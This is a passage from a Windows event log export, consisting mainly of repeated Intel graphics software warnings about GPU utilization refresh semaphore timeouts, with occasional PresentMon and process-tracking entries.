stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:14.800\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:15.128\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:15.455\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:15.668\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:16.103\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:16.326\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:16.539\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:16.871\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:17.415\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:17.625\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:18.168\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:18.386\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:18.720\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:18.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:19.150\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:19.372\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:19.588\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:19.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:20.021\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:20.559\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:20.779\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:20.994\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:21.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:21.410\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:21.630\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:21.958\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:22.170\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:22.494\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:22.718\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:23.153\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:23.373\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:23.587\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:23.805\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:24.137\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:24.358\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:24.581\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:24.793\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:25.108\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:25.328\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:25.540\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:25.755\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:25.969\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:26.184\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:26.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:26.608\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:26.818\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:27.150\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:27.368\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:27.592\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:27.816\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:28.036\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:28.367\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:28.704\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:28.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:29.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:29.369\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:29.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:30.556\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:30.769\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:30.984\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:31.202\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:31.417\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:31.751\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:31.758\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:44.986\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:44.990\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:45.205\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:45.424\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:46.311\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:46.530\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:46.739\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:46.954\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:47.169\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:47.497\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:47.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:48.482\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:48.920\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:05:48.924\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:01.915\t211\tAdded process 6468 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:06:03.719\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:03.724\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:04.164\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:04.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:04.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:04.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:05.897\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:06.121\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:06.331\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:06.550\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:06.761\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:07.083\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:07.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:07.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:07.855\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:08.072\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:08.503\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:08.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:09.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:09.596\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:10.142\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:10.355\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:10.572\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:10.783\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:11.000\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:11.430\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:11.643\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:11.974\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:12.193\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:12.518\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:12.837\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:13.056\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:13.276\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:13.493\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 